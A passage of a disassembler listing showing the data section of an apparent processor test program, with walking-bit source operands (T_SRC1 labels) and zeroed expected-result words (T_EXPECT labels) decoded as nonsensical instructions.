31c1c: 00 00 01 00 add r8,r0
00031c20 <T_SRC1_713>:
31c20: 00 00 02 00 add r16,r0
00031c24 <T_SRC1_714>:
31c24: 00 00 04 00 *unknown*
00031c28 <T_SRC1_715>:
31c28: 00 00 08 00 *unknown*
00031c2c <T_SRC1_716>:
31c2c: 00 00 10 00 *unknown*
00031c30 <T_SRC1_717>:
31c30: 00 00 20 00 *unknown*
00031c34 <T_SRC1_718>:
31c34: 00 00 40 00 *unknown*
00031c38 <T_SRC1_719>:
31c38: 00 00 80 00 *unknown*
00031c3c <T_SRC1_720>:
31c3c: 00 01 00 00 *unknown*
00031c40 <T_SRC1_721>:
31c40: 00 02 00 00 *unknown*
00031c44 <T_SRC1_722>:
31c44: 00 04 00 00 *unknown*
00031c48 <T_SRC1_723>:
31c48: 00 08 00 00 *unknown*
00031c4c <T_SRC1_724>:
31c4c: 00 10 00 00 add r0,0
00031c50 <T_SRC1_725>:
31c50: 00 20 00 00 sub r0,r0
00031c54 <T_SRC1_726>:
31c54: 00 40 00 00 mull r0,r0
00031c58 <T_SRC1_727>:
31c58: 00 80 00 00 udiv r0,r0
00031c5c <T_SRC1_728>:
31c5c: 01 00 00 00 mod r0,r0
00031c60 <T_SRC1_729>:
31c60: 02 00 00 00 inc r0,r0
00031c64 <T_SRC1_730>:
31c64: 04 00 00 00 *unknown*
00031c68 <T_SRC1_731>:
31c68: 08 00 00 00 shl r0,r0
00031c6c <T_SRC1_732>:
31c6c: 10 00 00 00 ld8 r0,r0
00031c70 <T_SRC1_733>:
31c70: 20 00 00 00 nop
00031c74 <T_SRC1_734>:
31c74: 40 00 00 00 *unknown*
00031c78 <T_SRC1_735>:
31c78: 80 00 00 00 *unknown*
00031c7c <T_SRC1_736>:
31c7c: 00 00 00 01 add r0,r1
00031c80 <T_SRC1_737>:
31c80: 00 00 00 02 add r0,r2
00031c84 <T_SRC1_738>:
31c84: 00 00 00 04 add r0,r4
00031c88 <T_SRC1_739>:
31c88: 00 00 00 08 add r0,r8
00031c8c <T_SRC1_740>:
31c8c: 00 00 00 10 add r0,r16
00031c90 <T_SRC1_741>:
31c90: 00 00 00 20 add r1,r0
00031c94 <T_SRC1_742>:
31c94: 00 00 00 40 add r2,r0
00031c98 <T_SRC1_743>:
31c98: 00 00 00 80 add r4,r0
00031c9c <T_SRC1_744>:
31c9c: 00 00 01 00 add r8,r0
00031ca0 <T_SRC1_745>:
31ca0: 00 00 02 00 add r16,r0
00031ca4 <T_SRC1_746>:
31ca4: 00 00 04 00 *unknown*
00031ca8 <T_SRC1_747>:
31ca8: 00 00 08 00 *unknown*
00031cac <T_SRC1_748>:
31cac: 00 00 10 00 *unknown*
00031cb0 <T_SRC1_749>:
31cb0: 00 00 20 00 *unknown*
00031cb4 <T_SRC1_750>:
31cb4: 00 00 40 00 *unknown*
00031cb8 <T_SRC1_751>:
31cb8: 00 00 80 00 *unknown*
00031cbc <T_SRC1_752>:
31cbc: 00 01 00 00 *unknown*
00031cc0 <T_SRC1_753>:
31cc0: 00 02 00 00 *unknown*
00031cc4 <T_SRC1_754>:
31cc4: 00 04 00 00 *unknown*
00031cc8 <T_SRC1_755>:
31cc8: 00 08 00 00 *unknown*
00031ccc <T_SRC1_756>:
31ccc: 00 10 00 00 add r0,0
00031cd0 <T_SRC1_757>:
31cd0: 00 20 00 00 sub r0,r0
00031cd4 <T_SRC1_758>:
31cd4: 00 40 00 00 mull r0,r0
00031cd8 <T_SRC1_759>:
31cd8: 00 80 00 00 udiv r0,r0
00031cdc <T_SRC1_760>:
31cdc: 01 00 00 00 mod r0,r0
00031ce0 <T_SRC1_761>:
31ce0: 02 00 00 00 inc r0,r0
00031ce4 <T_SRC1_762>:
31ce4: 04 00 00 00 *unknown*
00031ce8 <T_SRC1_763>:
31ce8: 08 00 00 00 shl r0,r0
00031cec <T_SRC1_764>:
31cec: 10 00 00 00 ld8 r0,r0
00031cf0 <T_SRC1_765>:
31cf0: 20 00 00 00 nop
00031cf4 <T_SRC1_766>:
31cf4: 40 00 00 00 *unknown*
00031cf8 <T_SRC1_767>:
31cf8: 80 00 00 00 *unknown*
00031cfc <T_SRC1_768>:
31cfc: 00 00 00 01 add r0,r1
00031d00 <T_SRC1_769>:
31d00: 00 00 00 02 add r0,r2
00031d04 <T_SRC1_770>:
31d04: 00 00 00 04 add r0,r4
00031d08 <T_SRC1_771>:
31d08: 00 00 00 08 add r0,r8
00031d0c <T_SRC1_772>:
31d0c: 00 00 00 10 add r0,r16
00031d10 <T_SRC1_773>:
31d10: 00 00 00 20 add r1,r0
00031d14 <T_SRC1_774>:
31d14: 00 00 00 40 add r2,r0
00031d18 <T_SRC1_775>:
31d18: 00 00 00 80 add r4,r0
00031d1c <T_SRC1_776>:
31d1c: 00 00 01 00 add r8,r0
00031d20 <T_SRC1_777>:
31d20: 00 00 02 00 add r16,r0
00031d24 <T_SRC1_778>:
31d24: 00 00 04 00 *unknown*
00031d28 <T_SRC1_779>:
31d28: 00 00 08 00 *unknown*
00031d2c <T_SRC1_780>:
31d2c: 00 00 10 00 *unknown*
00031d30 <T_SRC1_781>:
31d30: 00 00 20 00 *unknown*
00031d34 <T_SRC1_782>:
31d34: 00 00 40 00 *unknown*
00031d38 <T_SRC1_783>:
31d38: 00 00 80 00 *unknown*
00031d3c <T_SRC1_784>:
31d3c: 00 01 00 00 *unknown*
00031d40 <T_SRC1_785>:
31d40: 00 02 00 00 *unknown*
00031d44 <T_SRC1_786>:
31d44: 00 04 00 00 *unknown*
00031d48 <T_SRC1_787>:
31d48: 00 08 00 00 *unknown*
00031d4c <T_SRC1_788>:
31d4c: 00 10 00 00 add r0,0
00031d50 <T_SRC1_789>:
31d50: 00 20 00 00 sub r0,r0
00031d54 <T_SRC1_790>:
31d54: 00 40 00 00 mull r0,r0
00031d58 <T_SRC1_791>:
31d58: 00 80 00 00 udiv r0,r0
00031d5c <T_SRC1_792>:
31d5c: 01 00 00 00 mod r0,r0
00031d60 <T_SRC1_793>:
31d60: 02 00 00 00 inc r0,r0
00031d64 <T_SRC1_794>:
31d64: 04 00 00 00 *unknown*
00031d68 <T_SRC1_795>:
31d68: 08 00 00 00 shl r0,r0
00031d6c <T_SRC1_796>:
31d6c: 10 00 00 00 ld8 r0,r0
00031d70 <T_SRC1_797>:
31d70: 20 00 00 00 nop
00031d74 <T_SRC1_798>:
31d74: 40 00 00 00 *unknown*
00031d78 <T_SRC1_799>:
31d78: 80 00 00 00 *unknown*
00031d7c <T_SRC1_800>:
31d7c: 00 00 00 01 add r0,r1
00031d80 <T_SRC1_801>:
31d80: 00 00 00 02 add r0,r2
00031d84 <T_SRC1_802>:
31d84: 00 00 00 04 add r0,r4
00031d88 <T_SRC1_803>:
31d88: 00 00 00 08 add r0,r8
00031d8c <T_SRC1_804>:
31d8c: 00 00 00 10 add r0,r16
00031d90 <T_SRC1_805>:
31d90: 00 00 00 20 add r1,r0
00031d94 <T_SRC1_806>:
31d94: 00 00 00 40 add r2,r0
00031d98 <T_SRC1_807>:
31d98: 00 00 00 80 add r4,r0
00031d9c <T_SRC1_808>:
31d9c: 00 00 01 00 add r8,r0
00031da0 <T_SRC1_809>:
31da0: 00 00 02 00 add r16,r0
00031da4 <T_SRC1_810>:
31da4: 00 00 04 00 *unknown*
00031da8 <T_SRC1_811>:
31da8: 00 00 08 00 *unknown*
00031dac <T_SRC1_812>:
31dac: 00 00 10 00 *unknown*
00031db0 <T_SRC1_813>:
31db0: 00 00 20 00 *unknown*
00031db4 <T_SRC1_814>:
31db4: 00 00 40 00 *unknown*
00031db8 <T_SRC1_815>:
31db8: 00 00 80 00 *unknown*
00031dbc <T_SRC1_816>:
31dbc: 00 01 00 00 *unknown*
00031dc0 <T_SRC1_817>:
31dc0: 00 02 00 00 *unknown*
00031dc4 <T_SRC1_818>:
31dc4: 00 04 00 00 *unknown*
00031dc8 <T_SRC1_819>:
31dc8: 00 08 00 00 *unknown*
00031dcc <T_SRC1_820>:
31dcc: 00 10 00 00 add r0,0
00031dd0 <T_SRC1_821>:
31dd0: 00 20 00 00 sub r0,r0
00031dd4 <T_SRC1_822>:
31dd4: 00 40 00 00 mull r0,r0
00031dd8 <T_SRC1_823>:
31dd8: 00 80 00 00 udiv r0,r0
00031ddc <T_SRC1_824>:
31ddc: 01 00 00 00 mod r0,r0
00031de0 <T_SRC1_825>:
31de0: 02 00 00 00 inc r0,r0
00031de4 <T_SRC1_826>:
31de4: 04 00 00 00 *unknown*
00031de8 <T_SRC1_827>:
31de8: 08 00 00 00 shl r0,r0
00031dec <T_SRC1_828>:
31dec: 10 00 00 00 ld8 r0,r0
00031df0 <T_SRC1_829>:
31df0: 20 00 00 00 nop
00031df4 <T_SRC1_830>:
31df4: 40 00 00 00 *unknown*
00031df8 <T_SRC1_831>:
31df8: 80 00 00 00 *unknown*
00031dfc <T_SRC1_832>:
31dfc: 00 00 00 01 add r0,r1
00031e00 <T_SRC1_833>:
31e00: 00 00 00 02 add r0,r2
00031e04 <T_SRC1_834>:
31e04: 00 00 00 04 add r0,r4
00031e08 <T_SRC1_835>:
31e08: 00 00 00 08 add r0,r8
00031e0c <T_SRC1_836>:
31e0c: 00 00 00 10 add r0,r16
00031e10 <T_SRC1_837>:
31e10: 00 00 00 20 add r1,r0
00031e14 <T_SRC1_838>:
31e14: 00 00 00 40 add r2,r0
00031e18 <T_SRC1_839>:
31e18: 00 00 00 80 add r4,r0
00031e1c <T_SRC1_840>:
31e1c: 00 00 01 00 add r8,r0
00031e20 <T_SRC1_841>:
31e20: 00 00 02 00 add r16,r0
00031e24 <T_SRC1_842>:
31e24: 00 00 04 00 *unknown*
00031e28 <T_SRC1_843>:
31e28: 00 00 08 00 *unknown*
00031e2c <T_SRC1_844>:
31e2c: 00 00 10 00 *unknown*
00031e30 <T_SRC1_845>:
31e30: 00 00 20 00 *unknown*
00031e34 <T_SRC1_846>:
31e34: 00 00 40 00 *unknown*
00031e38 <T_SRC1_847>:
31e38: 00 00 80 00 *unknown*
00031e3c <T_SRC1_848>:
31e3c: 00 01 00 00 *unknown*
00031e40 <T_SRC1_849>:
31e40: 00 02 00 00 *unknown*
00031e44 <T_SRC1_850>:
31e44: 00 04 00 00 *unknown*
00031e48 <T_SRC1_851>:
31e48: 00 08 00 00 *unknown*
00031e4c <T_SRC1_852>:
31e4c: 00 10 00 00 add r0,0
00031e50 <T_SRC1_853>:
31e50: 00 20 00 00 sub r0,r0
00031e54 <T_SRC1_854>:
31e54: 00 40 00 00 mull r0,r0
00031e58 <T_SRC1_855>:
31e58: 00 80 00 00 udiv r0,r0
00031e5c <T_SRC1_856>:
31e5c: 01 00 00 00 mod r0,r0
00031e60 <T_SRC1_857>:
31e60: 02 00 00 00 inc r0,r0
00031e64 <T_SRC1_858>:
31e64: 04 00 00 00 *unknown*
00031e68 <T_SRC1_859>:
31e68: 08 00 00 00 shl r0,r0
00031e6c <T_SRC1_860>:
31e6c: 10 00 00 00 ld8 r0,r0
00031e70 <T_SRC1_861>:
31e70: 20 00 00 00 nop
00031e74 <T_SRC1_862>:
31e74: 40 00 00 00 *unknown*
00031e78 <T_SRC1_863>:
31e78: 80 00 00 00 *unknown*
00031e7c <T_SRC1_864>:
31e7c: 00 00 00 01 add r0,r1
00031e80 <T_SRC1_865>:
31e80: 00 00 00 02 add r0,r2
00031e84 <T_SRC1_866>:
31e84: 00 00 00 04 add r0,r4
00031e88 <T_SRC1_867>:
31e88: 00 00 00 08 add r0,r8
00031e8c <T_SRC1_868>:
31e8c: 00 00 00 10 add r0,r16
00031e90 <T_SRC1_869>:
31e90: 00 00 00 20 add r1,r0
00031e94 <T_SRC1_870>:
31e94: 00 00 00 40 add r2,r0
00031e98 <T_SRC1_871>:
31e98: 00 00 00 80 add r4,r0
00031e9c <T_SRC1_872>:
31e9c: 00 00 01 00 add r8,r0
00031ea0 <T_SRC1_873>:
31ea0: 00 00 02 00 add r16,r0
00031ea4 <T_SRC1_874>:
31ea4: 00 00 04 00 *unknown*
00031ea8 <T_SRC1_875>:
31ea8: 00 00 08 00 *unknown*
00031eac <T_SRC1_876>:
31eac: 00 00 10 00 *unknown*
00031eb0 <T_SRC1_877>:
31eb0: 00 00 20 00 *unknown*
00031eb4 <T_SRC1_878>:
31eb4: 00 00 40 00 *unknown*
00031eb8 <T_SRC1_879>:
31eb8: 00 00 80 00 *unknown*
00031ebc <T_SRC1_880>:
31ebc: 00 01 00 00 *unknown*
00031ec0 <T_SRC1_881>:
31ec0: 00 02 00 00 *unknown*
00031ec4 <T_SRC1_882>:
31ec4: 00 04 00 00 *unknown*
00031ec8 <T_SRC1_883>:
31ec8: 00 08 00 00 *unknown*
00031ecc <T_SRC1_884>:
31ecc: 00 10 00 00 add r0,0
00031ed0 <T_SRC1_885>:
31ed0: 00 20 00 00 sub r0,r0
00031ed4 <T_SRC1_886>:
31ed4: 00 40 00 00 mull r0,r0
00031ed8 <T_SRC1_887>:
31ed8: 00 80 00 00 udiv r0,r0
00031edc <T_SRC1_888>:
31edc: 01 00 00 00 mod r0,r0
00031ee0 <T_SRC1_889>:
31ee0: 02 00 00 00 inc r0,r0
00031ee4 <T_SRC1_890>:
31ee4: 04 00 00 00 *unknown*
00031ee8 <T_SRC1_891>:
31ee8: 08 00 00 00 shl r0,r0
00031eec <T_SRC1_892>:
31eec: 10 00 00 00 ld8 r0,r0
00031ef0 <T_SRC1_893>:
31ef0: 20 00 00 00 nop
00031ef4 <T_SRC1_894>:
31ef4: 40 00 00 00 *unknown*
00031ef8 <T_SRC1_895>:
31ef8: 80 00 00 00 *unknown*
00031efc <T_SRC1_896>:
31efc: 00 00 00 01 add r0,r1
00031f00 <T_SRC1_897>:
31f00: 00 00 00 02 add r0,r2
00031f04 <T_SRC1_898>:
31f04: 00 00 00 04 add r0,r4
00031f08 <T_SRC1_899>:
31f08: 00 00 00 08 add r0,r8
00031f0c <T_SRC1_900>:
31f0c: 00 00 00 10 add r0,r16
00031f10 <T_SRC1_901>:
31f10: 00 00 00 20 add r1,r0
00031f14 <T_SRC1_902>:
31f14: 00 00 00 40 add r2,r0
00031f18 <T_SRC1_903>:
31f18: 00 00 00 80 add r4,r0
00031f1c <T_SRC1_904>:
31f1c: 00 00 01 00 add r8,r0
00031f20 <T_SRC1_905>:
31f20: 00 00 02 00 add r16,r0
00031f24 <T_SRC1_906>:
31f24: 00 00 04 00 *unknown*
00031f28 <T_SRC1_907>:
31f28: 00 00 08 00 *unknown*
00031f2c <T_SRC1_908>:
31f2c: 00 00 10 00 *unknown*
00031f30 <T_SRC1_909>:
31f30: 00 00 20 00 *unknown*
00031f34 <T_SRC1_910>:
31f34: 00 00 40 00 *unknown*
00031f38 <T_SRC1_911>:
31f38: 00 00 80 00 *unknown*
00031f3c <T_SRC1_912>:
31f3c: 00 01 00 00 *unknown*
00031f40 <T_SRC1_913>:
31f40: 00 02 00 00 *unknown*
00031f44 <T_SRC1_914>:
31f44: 00 04 00 00 *unknown*
00031f48 <T_SRC1_915>:
31f48: 00 08 00 00 *unknown*
00031f4c <T_SRC1_916>:
31f4c: 00 10 00 00 add r0,0
00031f50 <T_SRC1_917>:
31f50: 00 20 00 00 sub r0,r0
00031f54 <T_SRC1_918>:
31f54: 00 40 00 00 mull r0,r0
00031f58 <T_SRC1_919>:
31f58: 00 80 00 00 udiv r0,r0
00031f5c <T_SRC1_920>:
31f5c: 01 00 00 00 mod r0,r0
00031f60 <T_SRC1_921>:
31f60: 02 00 00 00 inc r0,r0
00031f64 <T_SRC1_922>:
31f64: 04 00 00 00 *unknown*
00031f68 <T_SRC1_923>:
31f68: 08 00 00 00 shl r0,r0
00031f6c <T_SRC1_924>:
31f6c: 10 00 00 00 ld8 r0,r0
00031f70 <T_SRC1_925>:
31f70: 20 00 00 00 nop
00031f74 <T_SRC1_926>:
31f74: 40 00 00 00 *unknown*
00031f78 <T_SRC1_927>:
31f78: 80 00 00 00 *unknown*
00031f7c <T_SRC1_928>:
31f7c: 00 00 00 01 add r0,r1
00031f80 <T_SRC1_929>:
31f80: 00 00 00 02 add r0,r2
00031f84 <T_SRC1_930>:
31f84: 00 00 00 04 add r0,r4
00031f88 <T_SRC1_931>:
31f88: 00 00 00 08 add r0,r8
00031f8c <T_SRC1_932>:
31f8c: 00 00 00 10 add r0,r16
00031f90 <T_SRC1_933>:
31f90: 00 00 00 20 add r1,r0
00031f94 <T_SRC1_934>:
31f94: 00 00 00 40 add r2,r0
00031f98 <T_SRC1_935>:
31f98: 00 00 00 80 add r4,r0
00031f9c <T_SRC1_936>:
31f9c: 00 00 01 00 add r8,r0
00031fa0 <T_SRC1_937>:
31fa0: 00 00 02 00 add r16,r0
00031fa4 <T_SRC1_938>:
31fa4: 00 00 04 00 *unknown*
00031fa8 <T_SRC1_939>:
31fa8: 00 00 08 00 *unknown*
00031fac <T_SRC1_940>:
31fac: 00 00 10 00 *unknown*
00031fb0 <T_SRC1_941>:
31fb0: 00 00 20 00 *unknown*
00031fb4 <T_SRC1_942>:
31fb4: 00 00 40 00 *unknown*
00031fb8 <T_SRC1_943>:
31fb8: 00 00 80 00 *unknown*
00031fbc <T_SRC1_944>:
31fbc: 00 01 00 00 *unknown*
00031fc0 <T_SRC1_945>:
31fc0: 00 02 00 00 *unknown*
00031fc4 <T_SRC1_946>:
31fc4: 00 04 00 00 *unknown*
00031fc8 <T_SRC1_947>:
31fc8: 00 08 00 00 *unknown*
00031fcc <T_SRC1_948>:
31fcc: 00 10 00 00 add r0,0
00031fd0 <T_SRC1_949>:
31fd0: 00 20 00 00 sub r0,r0
00031fd4 <T_SRC1_950>:
31fd4: 00 40 00 00 mull r0,r0
00031fd8 <T_SRC1_951>:
31fd8: 00 80 00 00 udiv r0,r0
00031fdc <T_SRC1_952>:
31fdc: 01 00 00 00 mod r0,r0
00031fe0 <T_SRC1_953>:
31fe0: 02 00 00 00 inc r0,r0
00031fe4 <T_SRC1_954>:
31fe4: 04 00 00 00 *unknown*
00031fe8 <T_SRC1_955>:
31fe8: 08 00 00 00 shl r0,r0
00031fec <T_SRC1_956>:
31fec: 10 00 00 00 ld8 r0,r0
00031ff0 <T_SRC1_957>:
31ff0: 20 00 00 00 nop
00031ff4 <T_SRC1_958>:
31ff4: 40 00 00 00 *unknown*
00031ff8 <T_SRC1_959>:
31ff8: 80 00 00 00 *unknown*
00031ffc <T_SRC1_960>:
31ffc: 00 00 00 01 add r0,r1
00032000 <T_SRC1_961>:
32000: 00 00 00 02 add r0,r2
00032004 <T_SRC1_962>:
32004: 00 00 00 04 add r0,r4
00032008 <T_SRC1_963>:
32008: 00 00 00 08 add r0,r8
0003200c <T_SRC1_964>:
3200c: 00 00 00 10 add r0,r16
00032010 <T_SRC1_965>:
32010: 00 00 00 20 add r1,r0
00032014 <T_SRC1_966>:
32014: 00 00 00 40 add r2,r0
00032018 <T_SRC1_967>:
32018: 00 00 00 80 add r4,r0
0003201c <T_SRC1_968>:
3201c: 00 00 01 00 add r8,r0
00032020 <T_SRC1_969>:
32020: 00 00 02 00 add r16,r0
00032024 <T_SRC1_970>:
32024: 00 00 04 00 *unknown*
00032028 <T_SRC1_971>:
32028: 00 00 08 00 *unknown*
0003202c <T_SRC1_972>:
3202c: 00 00 10 00 *unknown*
00032030 <T_SRC1_973>:
32030: 00 00 20 00 *unknown*
00032034 <T_SRC1_974>:
32034: 00 00 40 00 *unknown*
00032038 <T_SRC1_975>:
32038: 00 00 80 00 *unknown*
0003203c <T_SRC1_976>:
3203c: 00 01 00 00 *unknown*
00032040 <T_SRC1_977>:
32040: 00 02 00 00 *unknown*
00032044 <T_SRC1_978>:
32044: 00 04 00 00 *unknown*
00032048 <T_SRC1_979>:
32048: 00 08 00 00 *unknown*
0003204c <T_SRC1_980>:
3204c: 00 10 00 00 add r0,0
00032050 <T_SRC1_981>:
32050: 00 20 00 00 sub r0,r0
00032054 <T_SRC1_982>:
32054: 00 40 00 00 mull r0,r0
00032058 <T_SRC1_983>:
32058: 00 80 00 00 udiv r0,r0
0003205c <T_SRC1_984>:
3205c: 01 00 00 00 mod r0,r0
00032060 <T_SRC1_985>:
32060: 02 00 00 00 inc r0,r0
00032064 <T_SRC1_986>:
32064: 04 00 00 00 *unknown*
00032068 <T_SRC1_987>:
32068: 08 00 00 00 shl r0,r0
0003206c <T_SRC1_988>:
3206c: 10 00 00 00 ld8 r0,r0
00032070 <T_SRC1_989>:
32070: 20 00 00 00 nop
00032074 <T_SRC1_990>:
32074: 40 00 00 00 *unknown*
00032078 <T_SRC1_991>:
32078: 80 00 00 00 *unknown*
0003207c <T_SRC1_992>:
3207c: 00 00 00 01 add r0,r1
00032080 <T_SRC1_993>:
32080: 00 00 00 02 add r0,r2
00032084 <T_SRC1_994>:
32084: 00 00 00 04 add r0,r4
00032088 <T_SRC1_995>:
32088: 00 00 00 08 add r0,r8
0003208c <T_SRC1_996>:
3208c: 00 00 00 10 add r0,r16
00032090 <T_SRC1_997>:
32090: 00 00 00 20 add r1,r0
00032094 <T_SRC1_998>:
32094: 00 00 00 40 add r2,r0
00032098 <T_SRC1_999>:
32098: 00 00 00 80 add r4,r0
0003209c <T_SRC1_1000>:
3209c: 00 00 01 00 add r8,r0
000320a0 <T_SRC1_1001>:
320a0: 00 00 02 00 add r16,r0
000320a4 <T_SRC1_1002>:
320a4: 00 00 04 00 *unknown*
000320a8 <T_SRC1_1003>:
320a8: 00 00 08 00 *unknown*
000320ac <T_SRC1_1004>:
320ac: 00 00 10 00 *unknown*
000320b0 <T_SRC1_1005>:
320b0: 00 00 20 00 *unknown*
000320b4 <T_SRC1_1006>:
320b4: 00 00 40 00 *unknown*
000320b8 <T_SRC1_1007>:
320b8: 00 00 80 00 *unknown*
000320bc <T_SRC1_1008>:
320bc: 00 01 00 00 *unknown*
000320c0 <T_SRC1_1009>:
320c0: 00 02 00 00 *unknown*
000320c4 <T_SRC1_1010>:
320c4: 00 04 00 00 *unknown*
000320c8 <T_SRC1_1011>:
320c8: 00 08 00 00 *unknown*
000320cc <T_SRC1_1012>:
320cc: 00 10 00 00 add r0,0
000320d0 <T_SRC1_1013>:
320d0: 00 20 00 00 sub r0,r0
000320d4 <T_SRC1_1014>:
320d4: 00 40 00 00 mull r0,r0
000320d8 <T_SRC1_1015>:
320d8: 00 80 00 00 udiv r0,r0
000320dc <T_SRC1_1016>:
320dc: 01 00 00 00 mod r0,r0
000320e0 <T_SRC1_1017>:
320e0: 02 00 00 00 inc r0,r0
000320e4 <T_SRC1_1018>:
320e4: 04 00 00 00 *unknown*
000320e8 <T_SRC1_1019>:
320e8: 08 00 00 00 shl r0,r0
000320ec <T_SRC1_1020>:
320ec: 10 00 00 00 ld8 r0,r0
000320f0 <T_SRC1_1021>:
320f0: 20 00 00 00 nop
000320f4 <T_SRC1_1022>:
320f4: 40 00 00 00 *unknown*
000320f8 <T_SRC1_1023>:
320f8: 80 00 00 00 *unknown*
000320fc <T_SRC1_1024>:
320fc: 00 00 00 01 add r0,r1
00032100 <T_SRC1_1025>:
32100: 00 00 00 02 add r0,r2
00032104 <T_SRC1_1026>:
32104: 00 00 00 04 add r0,r4
00032108 <T_SRC1_1027>:
32108: 00 00 00 08 add r0,r8
0003210c <T_SRC1_1028>:
3210c: 00 00 00 10 add r0,r16
00032110 <T_SRC1_1029>:
32110: 00 00 00 20 add r1,r0
00032114 <T_SRC1_1030>:
32114: 00 00 00 40 add r2,r0
00032118 <T_SRC1_1031>:
32118: 00 00 00 80 add r4,r0
0003211c <T_SRC1_1032>:
3211c: 00 00 01 00 add r8,r0
00032120 <T_SRC1_1033>:
32120: 00 00 02 00 add r16,r0
00032124 <T_SRC1_1034>:
32124: 00 00 04 00 *unknown*
00032128 <T_SRC1_1035>:
32128: 00 00 08 00 *unknown*
0003212c <T_SRC1_1036>:
3212c: 00 00 10 00 *unknown*
00032130 <T_SRC1_1037>:
32130: 00 00 20 00 *unknown*
00032134 <T_SRC1_1038>:
32134: 00 00 40 00 *unknown*
00032138 <T_SRC1_1039>:
32138: 00 00 80 00 *unknown*
0003213c <T_SRC1_1040>:
3213c: 00 01 00 00 *unknown*
00032140 <T_SRC1_1041>:
32140: 00 02 00 00 *unknown*
00032144 <T_SRC1_1042>:
32144: 00 04 00 00 *unknown*
00032148 <T_SRC1_1043>:
32148: 00 08 00 00 *unknown*
0003214c <T_SRC1_1044>:
3214c: 00 10 00 00 add r0,0
00032150 <T_SRC1_1045>:
32150: 00 20 00 00 sub r0,r0
00032154 <T_SRC1_1046>:
32154: 00 40 00 00 mull r0,r0
00032158 <T_SRC1_1047>:
32158: 00 80 00 00 udiv r0,r0
0003215c <T_SRC1_1048>:
3215c: 01 00 00 00 mod r0,r0
00032160 <T_SRC1_1049>:
32160: 02 00 00 00 inc r0,r0
00032164 <T_SRC1_1050>:
32164: 04 00 00 00 *unknown*
00032168 <T_SRC1_1051>:
32168: 08 00 00 00 shl r0,r0
0003216c <T_SRC1_1052>:
3216c: 10 00 00 00 ld8 r0,r0
00032170 <T_SRC1_1053>:
32170: 20 00 00 00 nop
00032174 <T_SRC1_1054>:
32174: 40 00 00 00 *unknown*
00032178 <T_SRC1_1055>:
32178: 80 00 00 00 *unknown*
0003217c <T_SRC1_1056>:
3217c: 00 00 00 03 add r0,r3
00032180 <T_SRC1_1057>:
32180: 00 00 00 07 add r0,rtmp
00032184 <T_SRC1_1058>:
32184: 00 00 00 0f add r0,r15
00032188 <T_SRC1_1059>:
32188: 00 00 00 1f add r0,rret
0003218c <T_SRC1_1060>:
3218c: 00 00 00 3f add r1,rret
00032190 <T_SRC1_1061>:
32190: 00 00 00 7f add r3,rret
00032194 <T_SRC1_1062>:
32194: 00 00 00 ff add rtmp,rret
00032198 <T_SRC1_1063>:
32198: 00 00 01 ff add r15,rret
0003219c <T_SRC1_1064>:
3219c: 00 00 03 ff add rret,rret
000321a0 <T_SRC1_1065>:
321a0: 00 00 07 ff *unknown*
000321a4 <T_SRC1_1066>:
321a4: 00 00 0f ff *unknown*
000321a8 <T_SRC1_1067>:
321a8: 00 00 1f ff *unknown*
000321ac <T_SRC1_1068>:
321ac: 00 00 3f ff *unknown*
000321b0 <T_SRC1_1069>:
321b0: 00 00 7f ff *unknown*
000321b4 <T_SRC1_1070>:
321b4: 00 00 ff ff *unknown*
000321b8 <T_SRC1_1071>:
321b8: 00 01 ff ff *unknown*
000321bc <T_SRC1_1072>:
321bc: 00 03 ff ff *unknown*
000321c0 <T_SRC1_1073>:
321c0: 00 07 ff ff *unknown*
000321c4 <T_SRC1_1074>:
321c4: 00 0f ff ff *unknown*
000321c8 <T_SRC1_1075>:
321c8: 00 1f ff ff *unknown*
000321cc <T_SRC1_1076>:
321cc: 00 3f ff ff *unknown*
000321d0 <T_SRC1_1077>:
321d0: 00 7f ff ff *unknown*
000321d4 <T_SRC1_1078>:
321d4: 00 ff ff ff *unknown*
000321d8 <T_SRC1_1079>:
321d8: 01 ff ff ff *unknown*
000321dc <T_SRC1_1080>:
321dc: 03 ff ff ff *unknown*
000321e0 <T_SRC1_1081>:
321e0: 07 ff ff ff *unknown*
000321e4 <T_SRC1_1082>:
321e4: 0f ff ff ff *unknown*
000321e8 <T_SRC1_1083>:
321e8: 1f ff ff ff *unknown*
000321ec <T_SRC1_1084>:
321ec: 3f ff ff ff *unknown*
000321f0 <T_SRC1_1085>:
321f0: 7f ff ff ff *unknown*
000321f4 <T_SRC1_1086>:
321f4: ff ff ff ff *unknown*
000321f8 <T_EXPECT0>:
321f8: 00 00 00 00 add r0,r0
000321fc <T_EXPECT1>:
321fc: 00 00 00 00 add r0,r0
00032200 <T_EXPECT2>:
32200: 00 00 00 00 add r0,r0
00032204 <T_EXPECT3>:
32204: 00 00 00 00 add r0,r0
00032208 <T_EXPECT4>:
32208: 00 00 00 00 add r0,r0
0003220c <T_EXPECT5>:
3220c: 00 00 00 00 add r0,r0
00032210 <T_EXPECT6>:
32210: 00 00 00 00 add r0,r0
00032214 <T_EXPECT7>:
32214: 00 00 00 00 add r0,r0
00032218 <T_EXPECT8>:
32218: 00 00 00 00 add r0,r0
0003221c <T_EXPECT9>:
3221c: 00 00 00 00 add r0,r0
00032220 <T_EXPECT10>:
32220: 00 00 00 00 add r0,r0
00032224 <T_EXPECT11>:
32224: 00 00 00 00 add r0,r0
00032228 <T_EXPECT12>:
32228: 00 00 00 00 add r0,r0
0003222c <T_EXPECT13>:
3222c: 00 00 00 00 add r0,r0
00032230 <T_EXPECT14>:
32230: 00 00 00 00 add r0,r0
00032234 <T_EXPECT15>:
32234: 00 00 00 00 add r0,r0
00032238 <T_EXPECT16>:
32238: 00 00 00 00 add r0,r0
0003223c <T_EXPECT17>:
3223c: 00 00 00 00 add r0,r0
00032240 <T_EXPECT18>:
32240: 00 00 00 00 add r0,r0
00032244 <T_EXPECT19>:
32244: 00 00 00 00 add r0,r0
00032248 <T_EXPECT20>:
32248: 00 00 00 00 add r0,r0
0003224c <T_EXPECT21>:
3224c: 00 00 00 00 add r0,r0
00032250 <T_EXPECT22>:
32250: 00 00 00 00 add r0,r0
00032254 <T_EXPECT23>:
32254: 00 00 00 00 add r0,r0
00032258 <T_EXPECT24>:
32258: 00 00 00 00 add r0,r0
0003225c <T_EXPECT25>:
3225c: 00 00 00 00 add r0,r0
00032260 <T_EXPECT26>:
32260: 00 00 00 00 add r0,r0
00032264 <T_EXPECT27>:
32264: 00 00 00 00 add r0,r0
00032268 <T_EXPECT28>:
32268: 00 00 00 00 add r0,r0
0003226c <T_EXPECT29>:
3226c: 00 00 00 00 add r0,r0
00032270 <T_EXPECT30>:
32270: 00 00 00 00 add r0,r0
00032274 <T_EXPECT31>:
32274: 00 00 00 00 add r0,r0
00032278 <T_EXPECT32>:
